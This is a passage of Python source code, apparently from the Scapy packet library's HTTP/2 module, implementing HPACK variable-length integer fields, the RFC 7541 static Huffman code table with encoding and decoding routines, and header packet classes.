s[0] + chb((s[2] << self.size) + self._max_value) + self.i2m(pkt, val)[1:]  # noqa: E501\n        # This AbstractUVarIntField is only one byte long; setting the prefix value  # noqa: E501\n        # and appending the resulting byte to the string\n        return s[0] + chb((s[2] << self.size) + orb(self.i2m(pkt, val)))\n\n    @staticmethod\n    def _detect_bytelen_from_str(s):\n        # type: (str) -> int\n        \"\"\" _detect_bytelen_from_str returns the length of the machine\n          representation of an AbstractUVarIntField starting at the beginning\n          of s and which is assumed to expand over multiple bytes\n          (value > _max_prefix_value).\n\n        :param str s: the string to parse. It is assumed that it is a multibyte int.  # noqa: E501\n        :return: The bytelength of the AbstractUVarIntField.\n        :raises: AssertionError\n        \"\"\"\n        assert len(s) >= 2\n        tmp_len = len(s)\n\n        i = 1\n        while orb(s[i]) & 0x80 > 0:\n            i += 1\n            assert i < tmp_len, 'EINVAL: s: out-of-bound read: unfinished AbstractUVarIntField detected'  # noqa: E501\n        ret = i + 1\n\n        assert ret >= 0\n        return ret\n\n    def i2len(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\"\n        :param packet.Packet|None pkt: unused.\n        :param int x: the positive or null value whose binary size if requested.  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        assert x >= 0\n        if x < self._max_value:\n            return 1\n\n        # x is expressed over multiple bytes\n        x -= self._max_value\n        i = 1\n        if x == 0:\n            i += 1\n        while x > 0:\n            x >>= 7\n            i += 1\n\n        ret = i\n        assert ret >= 0\n        return ret\n\n    def getfield(self, pkt, s):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int]]) -> Tuple[str, int]  # noqa: E501\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this\n          field; probably unused.\n        :param str|(str, int) s: the input value to get this field value from.\n          If size is 8, s is a string, else it is a tuple containing the value\n          and an int indicating the number of bits already consumed in the\n          first byte of the str. The number of remaining bits to consume in the\n          first byte must be equal to \"size\".\n        :return: (str, int): the remaining bytes of s and the parsed value.\n        :raises: AssertionError\n        \"\"\"\n        if isinstance(s, tuple):\n            assert len(s) == 2\n            temp = s  # type: Tuple[str, int]\n            ts, ti = temp\n            assert ti >= 0\n            assert 8 - ti == self.size, 'EINVAL: s: not enough bits remaining in current byte to read the prefix'  # noqa: E501\n            val = ts\n        else:\n            assert isinstance(s, bytes) and self.size == 8, 'EINVAL: s: tuple expected when prefix_len is not a full byte'  # noqa: E501\n            val = s\n\n        if self._detect_multi_byte(val[0]):\n            tmp_len = self._detect_bytelen_from_str(val)\n        else:\n            tmp_len = 1\n\n        ret = val[tmp_len:], self.m2i(pkt, s)\n        assert ret[1] >= 0\n        return ret\n\n    def randval(self):\n        # type: () -> volatile.VolatileValue\n        \"\"\"\n        :return: volatile.VolatileValue: a volatile value for this field \"long\"-compatible internal value.  # noqa: E501\n        \"\"\"\n        return volatile.RandLong()\n\n\nclass UVarIntField(AbstractUVarIntField):\n    def __init__(self, name, default, size):\n        # type: (str, int, int) -> None\n        \"\"\"\n        :param str name: the name of this field instance.\n        :param default: the default value for this field instance. default must be positive or null.  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        assert default >= 0\n        assert 0 < size <= 8\n\n        super(UVarIntField, self).__init__(name, default, size)\n        self.size = size\n        self._max_value = (1 << self.size) - 1\n\n        # Configuring the fake property that is useless for this class but that is  # noqa: E501\n        # expected from BitFields\n        self.rev = False\n\n    def h2i(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\" h2i is overloaded to restrict the acceptable x values (not None)\n\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param int x: the value to convert.\n        :return: int: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        ret = super(UVarIntField, self).h2i(pkt, x)\n        assert not isinstance(ret, type(None)) and ret >= 0\n        return ret\n\n    def i2h(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> int\n        \"\"\" i2h is overloaded to restrict the acceptable x values (not None)\n\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param int x: the value to convert.\n        :return: int: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        ret = super(UVarIntField, self).i2h(pkt, x)\n        assert not isinstance(ret, type(None)) and ret >= 0\n        return ret\n\n    def any2i(self, pkt, x):\n        # type: (Optional[packet.Packet], Union[str, int]) -> int\n        \"\"\" any2i is overloaded to restrict the acceptable x values (not None)\n\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param str|int x: the value to convert.\n        :return: int: the converted value.\n        :raises: AssertionError\n        \"\"\"\n        ret = super(UVarIntField, self).any2i(pkt, x)\n        assert not isinstance(ret, type(None)) and ret >= 0\n        return ret\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[packet.Packet], int) -> str\n        \"\"\" i2repr is overloaded to restrict the acceptable x values (not None)\n\n        :param packet.Packet|None pkt: the packet instance containing this field instance; probably unused.  # noqa: E501\n        :param int x: the value to convert.\n        :return: str: the converted value.\n        \"\"\"\n        return super(UVarIntField, self).i2repr(pkt, x)\n\n\nclass FieldUVarLenField(AbstractUVarIntField):\n    __slots__ = ['_length_of', '_adjust']\n\n    def __init__(self, name, default, size, length_of, adjust=lambda x: x):\n        # type: (str, Optional[int], int, str, Callable[[int], int]) -> None\n        \"\"\" Initializes a FieldUVarLenField\n\n        :param str name: The name of this field instance.\n        :param int|None default: the default value of this field instance.\n        :param int size: the number of bits that are occupied by this field in the first byte of a binary string.  # noqa: E501\n          size must be in the range ]0;8].\n        :param str length_of: The name of the field this field value is measuring/representing.  # noqa: E501\n        :param callable adjust: A function that modifies the value computed from the \"length_of\" field.  # noqa: E501\n\n        adjust can be used for instance to add a constant to the length_of field  # noqa: E501\n         length. For instance, let's say that i2len of the length_of field\n         returns 2. If adjust is lambda x: x+1 In that case, this field will\n         value 3 at build time.\n        :return: None\n        :raises: AssertionError\n        \"\"\"\n        assert default is None or default >= 0\n        assert 0 < size <= 8\n\n        super(FieldUVarLenField, self).__init__(name, default, size)\n        self._length_of = length_of\n        self._adjust = adjust\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[packet.Packet], Union[str, Tuple[str, int, int]], Optional[int]) -> str  # noqa: E501\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be  # noqa: E501\n          None if the val parameter is.\n        :param str|(str, int, long) s: the string to append this field to. A tuple indicates that some bits were already  # noqa: E501\n          generated by another bitfield-compatible field. This MUST be the case if \"size\" is not 8. The int is the  # noqa: E501\n          number of bits already generated in the first byte of the str. The long is the value that was generated by the  # noqa: E501\n          previous bitfield-compatible fields.\n        :param int|None val: the positive or null value to be added. If None, the value is computed from pkt.  # noqa: E501\n        :return: str: s concatenated with the machine representation of this field.  # noqa: E501\n        :raises: AssertionError\n        \"\"\"\n        if val is None:\n            assert isinstance(pkt, packet.Packet), \\\n                'EINVAL: pkt: Packet expected when val is None; received {}'.format(type(pkt))  # noqa: E501\n            val = self._compute_value(pkt)\n        return super(FieldUVarLenField, self).addfield(pkt, s, val)\n\n    def i2m(self, pkt, x):\n        # type: (Optional[packet.Packet], Optional[int]) -> str\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance. This parameter must not be  # noqa: E501\n          None if the x parameter is.\n        :param int|None x: the positive or null value to be added. If None, the value is computed from pkt.  # noqa: E501\n        :return: str\n        :raises: AssertionError\n        \"\"\"\n        if x is None:\n            assert isinstance(pkt, packet.Packet), \\\n                'EINVAL: pkt: Packet expected when x is None; received {}'.format(type(pkt))  # noqa: E501\n            x = self._compute_value(pkt)\n        return super(FieldUVarLenField, self).i2m(pkt, x)\n\n    def _compute_value(self, pkt):\n        # type: (packet.Packet) -> int\n        \"\"\" Computes the value of this field based on the provided packet and\n        the length_of field and the adjust callback\n\n        :param packet.Packet pkt: the packet from which is computed this field value.  # noqa: E501\n        :return: int: the computed value for this field.\n        :raises: KeyError: the packet nor its payload do not contain an attribute\n          with the length_of name.\n        :raises: AssertionError\n        :raises: KeyError if _length_of is not one of pkt fields\n        \"\"\"\n        fld, fval = pkt.getfield_and_val(self._length_of)\n        val = fld.i2len(pkt, fval)\n        ret = self._adjust(val)\n        assert ret >= 0\n        return ret\n\n###############################################################################\n#                                                HPACK String Fields          #\n###############################################################################\n\n\nclass HPackStringsInterface(Sized, metaclass=abc.ABCMeta):  # type: ignore\n    @abc.abstractmethod\n    def __str__(self):\n        pass\n\n    def __bytes__(self):\n        r = self.__str__()\n        return bytes_encode(r)\n\n    @abc.abstractmethod\n    def origin(self):\n        pass\n\n    @abc.abstractmethod\n    def __len__(self):\n        pass\n\n\nclass HPackLiteralString(HPackStringsInterface):\n    \"\"\" HPackLiteralString is a string. This class is used as a marker and\n    implements an interface in common with HPackZString\n    \"\"\"\n    __slots__ = ['_s']\n\n    def __init__(self, s):\n        # type: (str) -> None\n        self._s = s\n\n    def __str__(self):\n        # type: () -> str\n        return self._s\n\n    def origin(self):\n        # type: () -> str\n        return plain_str(self._s)\n\n    def __len__(self):\n        # type: () -> int\n        return len(self._s)\n\n\nclass EOS(object):\n    \"\"\" Simple \"marker\" to designate the End Of String symbol in the huffman table\n    \"\"\"\n\n\nclass HuffmanNode(object):\n    \"\"\" HuffmanNode is an entry of the binary tree used for encoding/decoding\n    HPack compressed HTTP/2 headers\n    \"\"\"\n\n    __slots__ = ['left', 'right']\n    \"\"\"@var l: the left branch of this node\n    @var r: the right branch of this Node\n\n    These variables can value None (leaf node), another HuffmanNode, or a\n     symbol. Symbols are either a character or the End Of String symbol (class\n     EOS)\n    \"\"\"\n\n    def __init__(self, left, right):\n        # type: (Union[None, HuffmanNode, EOS, str], Union[None, HuffmanNode, EOS, str]) -> None  # noqa: E501\n        self.left = left\n        self.right = right\n\n    def __getitem__(self, b):\n        # type: (int) -> Union[None, HuffmanNode, EOS, str]\n        return self.right if b else self.left\n\n    def __setitem__(self, b, val):\n        # type: (int, Union[None, HuffmanNode, EOS, str]) -> None\n        if b:\n            self.right = val\n        else:\n            self.left = val\n\n    def __str__(self):\n        # type: () -> str\n        return self.__repr__()\n\n    def __repr__(self):\n        # type: () -> str\n        return '({}, {})'.format(self.left, self.right)\n\n\nclass InvalidEncodingException(Exception):\n    \"\"\" InvalidEncodingException is raised when a supposedly huffman-encoded\n     string is decoded and a decoding error arises\n    \"\"\"\n\n\nclass HPackZString(HPackStringsInterface):\n    __slots__ = ['_s', '_encoded']\n\n    # From RFC 7541\n    # Tuple is (code,code bitlength)\n    # The bitlength is required to know how long the left padding\n    # (implicit 0's) there are\n    static_huffman_code = [\n        (0x1ff8, 13),\n        (0x7fffd8, 23),\n        (0xfffffe2, 28),\n        (0xfffffe3, 28),\n        (0xfffffe4, 28),\n        (0xfffffe5, 28),\n        (0xfffffe6, 28),\n        (0xfffffe7, 28),\n        (0xfffffe8, 28),\n        (0xffffea, 24),\n        (0x3ffffffc, 30),\n        (0xfffffe9, 28),\n        (0xfffffea, 28),\n        (0x3ffffffd, 30),\n        (0xfffffeb, 28),\n        (0xfffffec, 28),\n        (0xfffffed, 28),\n        (0xfffffee, 28),\n        (0xfffffef, 28),\n        (0xffffff0, 28),\n        (0xffffff1, 28),\n        (0xffffff2, 28),\n        (0x3ffffffe, 30),\n        (0xffffff3, 28),\n        (0xffffff4, 28),\n        (0xffffff5, 28),\n        (0xffffff6, 28),\n        (0xffffff7, 28),\n        (0xffffff8, 28),\n        (0xffffff9, 28),\n        (0xffffffa, 28),\n        (0xffffffb, 28),\n        (0x14, 6),\n        (0x3f8, 10),\n        (0x3f9, 10),\n        (0xffa, 12),\n        (0x1ff9, 13),\n        (0x15, 6),\n        (0xf8, 8),\n        (0x7fa, 11),\n        (0x3fa, 10),\n        (0x3fb, 10),\n        (0xf9, 8),\n        (0x7fb, 11),\n        (0xfa, 8),\n        (0x16, 6),\n        (0x17, 6),\n        (0x18, 6),\n        (0x0, 5),\n        (0x1, 5),\n        (0x2, 5),\n        (0x19, 6),\n        (0x1a, 6),\n        (0x1b, 6),\n        (0x1c, 6),\n        (0x1d, 6),\n        (0x1e, 6),\n        (0x1f, 6),\n        (0x5c, 7),\n        (0xfb, 8),\n        (0x7ffc, 15),\n        (0x20, 6),\n        (0xffb, 12),\n        (0x3fc, 10),\n        (0x1ffa, 13),\n        (0x21, 6),\n        (0x5d, 7),\n        (0x5e, 7),\n        (0x5f, 7),\n        (0x60, 7),\n        (0x61, 7),\n        (0x62, 7),\n        (0x63, 7),\n        (0x64, 7),\n        (0x65, 7),\n        (0x66, 7),\n        (0x67, 7),\n        (0x68, 7),\n        (0x69, 7),\n        (0x6a, 7),\n        (0x6b, 7),\n        (0x6c, 7),\n        (0x6d, 7),\n        (0x6e, 7),\n        (0x6f, 7),\n        (0x70, 7),\n        (0x71, 7),\n        (0x72, 7),\n        (0xfc, 8),\n        (0x73, 7),\n        (0xfd, 8),\n        (0x1ffb, 13),\n        (0x7fff0, 19),\n        (0x1ffc, 13),\n        (0x3ffc, 14),\n        (0x22, 6),\n        (0x7ffd, 15),\n        (0x3, 5),\n        (0x23, 6),\n        (0x4, 5),\n        (0x24, 6),\n        (0x5, 5),\n        (0x25, 6),\n        (0x26, 6),\n        (0x27, 6),\n        (0x6, 5),\n        (0x74, 7),\n        (0x75, 7),\n        (0x28, 6),\n        (0x29, 6),\n        (0x2a, 6),\n        (0x7, 5),\n        (0x2b, 6),\n        (0x76, 7),\n        (0x2c, 6),\n        (0x8, 5),\n        (0x9, 5),\n        (0x2d, 6),\n        (0x77, 7),\n        (0x78, 7),\n        (0x79, 7),\n        (0x7a, 7),\n        (0x7b, 7),\n        (0x7ffe, 15),\n        (0x7fc, 11),\n        (0x3ffd, 14),\n        (0x1ffd, 13),\n        (0xffffffc, 28),\n        (0xfffe6, 20),\n        (0x3fffd2, 22),\n        (0xfffe7, 20),\n        (0xfffe8, 20),\n        (0x3fffd3, 22),\n        (0x3fffd4, 22),\n        (0x3fffd5, 22),\n        (0x7fffd9, 23),\n        (0x3fffd6, 22),\n        (0x7fffda, 23),\n        (0x7fffdb, 23),\n        (0x7fffdc, 23),\n        (0x7fffdd, 23),\n        (0x7fffde, 23),\n        (0xffffeb, 24),\n        (0x7fffdf, 23),\n        (0xffffec, 24),\n        (0xffffed, 24),\n        (0x3fffd7, 22),\n        (0x7fffe0, 23),\n        (0xffffee, 24),\n        (0x7fffe1, 23),\n        (0x7fffe2, 23),\n        (0x7fffe3, 23),\n        (0x7fffe4, 23),\n        (0x1fffdc, 21),\n        (0x3fffd8, 22),\n        (0x7fffe5, 23),\n        (0x3fffd9, 22),\n        (0x7fffe6, 23),\n        (0x7fffe7, 23),\n        (0xffffef, 24),\n        (0x3fffda, 22),\n        (0x1fffdd, 21),\n        (0xfffe9, 20),\n        (0x3fffdb, 22),\n        (0x3fffdc, 22),\n        (0x7fffe8, 23),\n        (0x7fffe9, 23),\n        (0x1fffde, 21),\n        (0x7fffea, 23),\n        (0x3fffdd, 22),\n        (0x3fffde, 22),\n        (0xfffff0, 24),\n        (0x1fffdf, 21),\n        (0x3fffdf, 22),\n        (0x7fffeb, 23),\n        (0x7fffec, 23),\n        (0x1fffe0, 21),\n        (0x1fffe1, 21),\n        (0x3fffe0, 22),\n        (0x1fffe2, 21),\n        (0x7fffed, 23),\n        (0x3fffe1, 22),\n        (0x7fffee, 23),\n        (0x7fffef, 23),\n        (0xfffea, 20),\n        (0x3fffe2, 22),\n        (0x3fffe3, 22),\n        (0x3fffe4, 22),\n        (0x7ffff0, 23),\n        (0x3fffe5, 22),\n        (0x3fffe6, 22),\n        (0x7ffff1, 23),\n        (0x3ffffe0, 26),\n        (0x3ffffe1, 26),\n        (0xfffeb, 20),\n        (0x7fff1, 19),\n        (0x3fffe7, 22),\n        (0x7ffff2, 23),\n        (0x3fffe8, 22),\n        (0x1ffffec, 25),\n        (0x3ffffe2, 26),\n        (0x3ffffe3, 26),\n        (0x3ffffe4, 26),\n        (0x7ffffde, 27),\n        (0x7ffffdf, 27),\n        (0x3ffffe5, 26),\n        (0xfffff1, 24),\n        (0x1ffffed, 25),\n        (0x7fff2, 19),\n        (0x1fffe3, 21),\n        (0x3ffffe6, 26),\n        (0x7ffffe0, 27),\n        (0x7ffffe1, 27),\n        (0x3ffffe7, 26),\n        (0x7ffffe2, 27),\n        (0xfffff2, 24),\n        (0x1fffe4, 21),\n        (0x1fffe5, 21),\n        (0x3ffffe8, 26),\n        (0x3ffffe9, 26),\n        (0xffffffd, 28),\n        (0x7ffffe3, 27),\n        (0x7ffffe4, 27),\n        (0x7ffffe5, 27),\n        (0xfffec, 20),\n        (0xfffff3, 24),\n        (0xfffed, 20),\n        (0x1fffe6, 21),\n        (0x3fffe9, 22),\n        (0x1fffe7, 21),\n        (0x1fffe8, 21),\n        (0x7ffff3, 23),\n        (0x3fffea, 22),\n        (0x3fffeb, 22),\n        (0x1ffffee, 25),\n        (0x1ffffef, 25),\n        (0xfffff4, 24),\n        (0xfffff5, 24),\n        (0x3ffffea, 26),\n        (0x7ffff4, 23),\n        (0x3ffffeb, 26),\n        (0x7ffffe6, 27),\n        (0x3ffffec, 26),\n        (0x3ffffed, 26),\n        (0x7ffffe7, 27),\n        (0x7ffffe8, 27),\n        (0x7ffffe9, 27),\n        (0x7ffffea, 27),\n        (0x7ffffeb, 27),\n        (0xffffffe, 28),\n        (0x7ffffec, 27),\n        (0x7ffffed, 27),\n        (0x7ffffee, 27),\n        (0x7ffffef, 27),\n        (0x7fffff0, 27),\n        (0x3ffffee, 26),\n        (0x3fffffff, 30)\n    ]\n\n    static_huffman_tree = None  # type: HuffmanNode\n\n    @classmethod\n    def _huffman_encode_char(cls, c):\n        # type: (Union[str, EOS]) -> Tuple[int, int]\n        \"\"\" huffman_encode_char assumes that the static_huffman_tree was\n        previously initialized\n\n        :param str|EOS c: a symbol to encode\n        :return: (int, int): the bitstring of the symbol and its bitlength\n        :raises: AssertionError\n        \"\"\"\n        if isinstance(c, EOS):\n            return cls.static_huffman_code[-1]\n        else:\n            assert isinstance(c, int) or len(c) == 1\n        return cls.static_huffman_code[orb(c)]\n\n    @classmethod\n    def huffman_encode(cls, s):\n        # type: (str) -> Tuple[int, int]\n        \"\"\" huffman_encode returns the bitstring and the bitlength of the\n        bitstring representing the string provided as a parameter\n\n        :param str s: the string to encode\n        :return: (int, int): the bitstring of s and its bitlength\n        :raises: AssertionError\n        \"\"\"\n        i = 0\n        ibl = 0\n        for c in s:\n            val, bl = cls._huffman_encode_char(c)\n            i = (i << bl) + val\n            ibl += bl\n\n        padlen = 8 - (ibl % 8)\n        if padlen != 8:\n            val, bl = cls._huffman_encode_char(EOS())\n            i = (i << padlen) + (val >> (bl - padlen))\n            ibl += padlen\n\n        ret = i, ibl\n        assert ret[0] >= 0\n        assert (ret[1] >= 0)\n        return ret\n\n    @classmethod\n    def huffman_decode(cls, i, ibl):\n        # type: (int, int) -> str\n        \"\"\" huffman_decode decodes the bitstring provided as parameters.\n\n        :param int i: the bitstring to decode\n        :param int ibl: the bitlength of i\n        :return: str: the string decoded from the bitstring\n        :raises: AssertionError, InvalidEncodingException\n        \"\"\"\n        assert i >= 0\n        assert ibl >= 0\n\n        if isinstance(cls.static_huffman_tree, type(None)):\n            cls.huffman_compute_decode_tree()\n        assert not isinstance(cls.static_huffman_tree, type(None))\n\n        s = []\n        j = 0\n        interrupted = False\n        cur = cls.static_huffman_tree\n        cur_sym = 0\n        cur_sym_bl = 0\n        while j < ibl:\n            b = (i >> (ibl - j - 1)) & 1\n            cur_sym = (cur_sym << 1) + b\n            cur_sym_bl += 1\n            elmt = cur[b]\n\n            if isinstance(elmt, HuffmanNode):\n                interrupted = True\n                cur = elmt\n                if isinstance(cur, type(None)):\n                    raise AssertionError()\n            elif isinstance(elmt, EOS):\n                raise InvalidEncodingException('Huffman decoder met the full EOS symbol')  # noqa: E501\n            elif isinstance(elmt, bytes):\n                interrupted = False\n                s.append(elmt)\n                cur = cls.static_huffman_tree\n                cur_sym = 0\n                cur_sym_bl = 0\n            else:\n                raise InvalidEncodingException('Should never happen, so incidentally it will')  # noqa: E501\n            j += 1\n\n        if interrupted:\n            # Interrupted values true if the bitstring ends in the middle of a\n            # symbol; this symbol must be, according to RFC7541 par5.2 the MSB\n            # of the EOS symbol\n            if cur_sym_bl > 7:\n                raise InvalidEncodingException('Huffman decoder is detecting padding longer than 7 bits')  # noqa: E501\n            eos_symbol = cls.static_huffman_code[-1]\n            eos_msb = eos_symbol[0] >> (eos_symbol[1] - cur_sym_bl)\n            if eos_msb != cur_sym:\n                raise InvalidEncodingException('Huffman decoder is detecting unexpected padding format')  # noqa: E501\n        return b''.join(s)\n\n    @classmethod\n    def huffman_conv2str(cls, bit_str, bit_len):\n        # type: (int, int) -> str\n        \"\"\" huffman_conv2str converts a bitstring of bit_len bitlength into a\n        binary string. It DOES NOT compress/decompress the bitstring!\n\n        :param int bit_str: the bitstring to convert.\n        :param int bit_len: the bitlength of bit_str.\n        :return: str: the converted bitstring as a bytestring.\n        :raises: AssertionError\n        \"\"\"\n        assert bit_str >= 0\n        assert bit_len >= 0\n\n        byte_len = bit_len // 8\n        rem_bit = bit_len % 8\n        if rem_bit != 0:\n            bit_str <<= 8 - rem_bit\n            byte_len += 1\n\n        # As usual the list/join tricks is a performance trick to build\n        # efficiently a Python string\n        s = []  # type: List[str]\n        i = 0\n        while i < byte_len:\n            s.insert(0, chb((bit_str >> (i * 8)) & 0xFF))\n            i += 1\n        return b''.join(s)\n\n    @classmethod\n    def huffman_conv2bitstring(cls, s):\n        # type: (str) -> Tuple[int, int]\n        \"\"\" huffman_conv2bitstring converts a string into its bitstring\n        representation. It returns a tuple: the bitstring and its bitlength.\n        This function DOES NOT compress/decompress the string!\n\n        :param str s: the bytestring to convert.\n        :return: (int, int): the bitstring of s, and its bitlength.\n        :raises: AssertionError\n        \"\"\"\n        i = 0\n        ibl = len(s) * 8\n        for c in s:\n            i = (i << 8) + orb(c)\n\n        ret = i, ibl\n        assert ret[0] >= 0\n        assert ret[1] >= 0\n        return ret\n\n    @classmethod\n    def huffman_compute_decode_tree(cls):\n        # type: () -> None\n        \"\"\" huffman_compute_decode_tree initializes/builds the static_huffman_tree\n\n        :return: None\n        :raises: InvalidEncodingException if there is an encoding problem\n        \"\"\"\n        cls.static_huffman_tree = HuffmanNode(None, None)\n        i = 0\n        for entry in cls.static_huffman_code:\n            parent = cls.static_huffman_tree\n            for idx in range(entry[1] - 1, -1, -1):\n                b = (entry[0] >> idx) & 1\n                if isinstance(parent[b], bytes):\n                    raise InvalidEncodingException('Huffman unique prefix violation :/')  # noqa: E501\n                if idx == 0:\n                    parent[b] = chb(i) if i < 256 else EOS()\n                elif parent[b] is None:\n                    parent[b] = HuffmanNode(None, None)\n                parent = parent[b]\n            i += 1\n\n    def __init__(self, s):\n        # type: (str) -> None\n        self._s = s\n        i, ibl = type(self).huffman_encode(s)\n        self._encoded = type(self).huffman_conv2str(i, ibl)\n\n    def __str__(self):\n        # type: () -> str\n        return self._encoded\n\n    def origin(self):\n        # type: () -> str\n        return plain_str(self._s)\n\n    def __len__(self):\n        # type: () -> int\n        return len(self._encoded)\n\n\nclass HPackStrLenField(fields.Field):\n    \"\"\" HPackStrLenField is a StrLenField variant specialized for HTTP/2 HPack\n\n    This variant uses an internal representation that implements HPackStringsInterface.  # noqa: E501\n    \"\"\"\n    __slots__ = ['_length_from', '_type_from']\n\n    def __init__(self, name, default, length_from, type_from):\n        # type: (str, HPackStringsInterface, Callable[[packet.Packet], int], str) -> None  # noqa: E501\n        super(HPackStrLenField, self).__init__(name, default)\n        self._length_from = length_from\n        self._type_from = type_from\n\n    def addfield(self, pkt, s, val):\n        # type: (Optional[packet.Packet], str, HPackStringsInterface) -> str\n        return s + self.i2m(pkt, val)\n\n    @staticmethod\n    def _parse(t, s):\n        # type: (bool, str) -> HPackStringsInterface\n        \"\"\"\n        :param bool t: whether this string is a huffman compressed string.\n        :param str s: the string to parse.\n        :return: HPackStringsInterface: either a HPackLiteralString or HPackZString, depending on t.  # noqa: E501\n        :raises: InvalidEncodingException\n        \"\"\"\n        if t:\n            i, ibl = HPackZString.huffman_conv2bitstring(s)\n            return HPackZString(HPackZString.huffman_decode(i, ibl))\n        return HPackLiteralString(s)\n\n    def getfield(self, pkt, s):\n        # type: (packet.Packet, str) -> Tuple[str, HPackStringsInterface]\n        \"\"\"\n        :param packet.Packet pkt: the packet instance containing this field instance.  # noqa: E501\n        :param str s: the string to parse this field from.\n        :return: (str, HPackStringsInterface): the remaining string after this field was carved out & the extracted  # noqa: E501\n          value.\n        :raises: KeyError if \"type_from\" is not a field of pkt or its payloads.\n        :raises: InvalidEncodingException\n        \"\"\"\n        tmp_len = self._length_from(pkt)\n        t = pkt.getfieldval(self._type_from) == 1\n        return s[tmp_len:], self._parse(t, s[:tmp_len])\n\n    def i2h(self, pkt, x):\n        # type: (Optional[packet.Packet], HPackStringsInterface) -> str\n        fmt = ''\n        if isinstance(x, HPackLiteralString):\n            fmt = \"HPackLiteralString({})\"\n        elif isinstance(x, HPackZString):\n            fmt = \"HPackZString({})\"\n        return fmt.format(x.origin())\n\n    def h2i(self, pkt, x):\n        # type: (packet.Packet, str) -> HPackStringsInterface\n        return HPackLiteralString(x)\n\n    def m2i(self, pkt, x):\n        # type: (packet.Packet, str) -> HPackStringsInterface\n        \"\"\"\n        :param packet.Packet pkt: the packet instance containing this field instance.  # noqa: E501\n        :param str x: the string to parse.\n        :return: HPackStringsInterface: the internal type of the value parsed from x.  # noqa: E501\n        :raises: AssertionError\n        :raises: InvalidEncodingException\n        :raises: KeyError if _type_from is not one of pkt fields.\n        \"\"\"\n        t = pkt.getfieldval(self._type_from)\n        tmp_len = self._length_from(pkt)\n\n        assert t is not None and tmp_len is not None, 'Conversion from string impossible: no type or length specified'  # noqa: E501\n\n        return self._parse(t == 1, x[:tmp_len])\n\n    def any2i(self, pkt, x):\n        # type: (Optional[packet.Packet], Union[str, HPackStringsInterface]) -> HPackStringsInterface  # noqa: E501\n        \"\"\"\n        :param packet.Packet|None pkt: the packet instance containing this field instance.  # noqa: E501\n        :param str|HPackStringsInterface x: the value to convert\n        :return: HPackStringsInterface: the Scapy internal value for this field\n        :raises: AssertionError, InvalidEncodingException\n        \"\"\"\n        if isinstance(x, bytes):\n            assert isinstance(pkt, packet.Packet)\n            return self.m2i(pkt, x)\n        assert isinstance(x, HPackStringsInterface)\n        return x\n\n    def i2m(self, pkt, x):\n        # type: (Optional[packet.Packet], HPackStringsInterface) -> str\n        return raw(x)\n\n    def i2len(self, pkt, x):\n        # type: (Optional[packet.Packet], HPackStringsInterface) -> int\n        return len(x)\n\n    def i2repr(self, pkt, x):\n        # type: (Optional[packet.Packet], HPackStringsInterface) -> str\n        return repr(self.i2h(pkt, x))\n\n###############################################################################\n#                                                HPACK Packets                #\n###############################################################################\n\n\nclass HPackHdrString(packet.Packet):\n    \"\"\" HPackHdrString is a packet that that is serialized into a RFC7541 par5.2\n    string literal repr.\n    \"\"\"\n    name = 'HPack Header String'\n    fields_desc = [\n        fields.BitEnumField('type', None, 1, {0: 'Literal', 1: 'Compressed'}),\n        FieldUVarLenField('len', None, 7, length_of='data'),\n        HPackStrLenField(\n            'data', HPackLiteralString(''),\n            length_from=lambda pkt: pkt.getfieldval('len'),\n            type_from='type'\n        )\n    ]\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        # Trick to tell scapy that the remaining bytes of the currently\n        # dissected string is not a payload of this packet but of some other\n        # underlayer packet\n        return config.conf.padding_layer\n\n    def self_build(self, **kwargs):\n        # type: (Any) -> str\n        \"\"\"self_build is overridden because type and len are determined at\n        build time, based on the \"data\" field internal type\n        \"\"\"\n        if self.getfieldval('type') is None:\n            self.type = 1 if isinstance(self.getfieldval('data'), HPackZString) else 0  # noqa: E501\n        return super(HPackHdrString, self).self_build(**kwargs)\n\n\nclass HPackHeaders(packet.Packet):\n    \"\"\"HPackHeaders uses the \"dispatch_hook\" trick of Packet_metaclass to select\n    the correct HPack header packet type. For this, the first byte of the string  # noqa: E501\n    to dissect is snooped on.\n    \"\"\"\n    @classmethod\n    def dispatch_hook(cls, s=None, *_args, **_kwds):\n        # type: (Optional[str], *Any, **Any) -> Packet_metaclass\n        \"\"\"dispatch_hook returns the subclass of HPackHeaders that must be used\n        to dissect the string.\n        \"\"\"\n        if s is None:\n            return config.conf.raw_layer\n        fb = orb(s[0])\n        if fb & 0x80 != 0:\n            return HPackIndexedHdr\n        if fb & 0x40 != 0:\n            return HPackLitHdrFldWithIncrIndexing\n        if fb & 0x20 != 0:\n            return HPackDynamicSizeUpdate\n        return HPackLitHdrFldWithoutIndexing\n\n    def guess_payload_class(self, payload):\n        # type: (str) -> Packet_metaclass\n        return config.conf.padding_layer\n\n\nclass HPackIndexedHdr(HPackHeaders):\n    \"\"\" HPackIndexedHdr implements RFC 7541 par6.1\n    \"\"\"\n    name = 'HPack Indexed Header Field'\n    fields_desc = [\n        HPackMagicBitField('magic', 1, 1),\n        UVarIntField('index', 2, 7)  # Default \"2\" is \":method GET\"\n    ]\n\n\nclass HPackLitHdrFldWithIncrIndexing(HPackHeaders):\n    \"\"\" HPackLitHdrFldWithIncrIndexing implements RFC 7541 par6.2.1\n    \"\"\"\n    name = 'HPack Literal Header With Incremental Indexing'\n    fields_desc = [\n        HPackMagicBitField('magic', 1, 2),\n        UVarIntField('index', 0, 6),  # Default is New Name\n        fields.ConditionalField(\n            fields.PacketField('hdr_name', None, HPackHdrString),\n            lambda pkt: pkt.getfieldval('index') == 0\n        ),\n        fields.PacketField('hdr_value', None, HPackHdrString)\n    